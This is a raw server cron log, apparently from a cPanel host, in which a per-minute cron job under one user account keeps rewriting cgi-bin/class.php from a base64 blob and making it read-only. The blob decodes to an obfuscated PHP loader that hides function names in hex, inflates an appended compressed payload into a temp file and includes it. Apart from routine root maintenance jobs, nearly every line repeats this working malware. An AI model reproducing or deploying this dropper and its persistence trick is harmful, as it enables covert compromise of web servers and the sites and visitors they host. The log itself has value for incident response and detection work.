Nov 10 00:04:01 server CROND[19581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:05:02 server CROND[20516]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:05:02 server CROND[20518]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 00:05:02 server CROND[20517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:05:02 server CROND[20519]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 00:06:01 server CROND[21075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:07:01 server CROND[21889]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:08:01 server CROND[22710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:09:01 server CROND[23523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:09:01 server CROND[23524]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 00:10:01 server CROND[24362]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:10:01 server CROND[24365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:10:01 server CROND[24363]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 00:10:01 server CROND[24364]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 00:11:01 server CROND[25229]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:12:01 server CROND[26056]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:12:01 server CROND[26057]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 00:13:01 server CROND[26964]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:14:01 server CROND[27783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:15:01 server CROND[28653]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:15:01 server CROND[28655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:15:01 server CROND[28657]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 00:15:01 server CROND[28658]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:15:01 server CROND[28659]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:16:01 server CROND[29442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
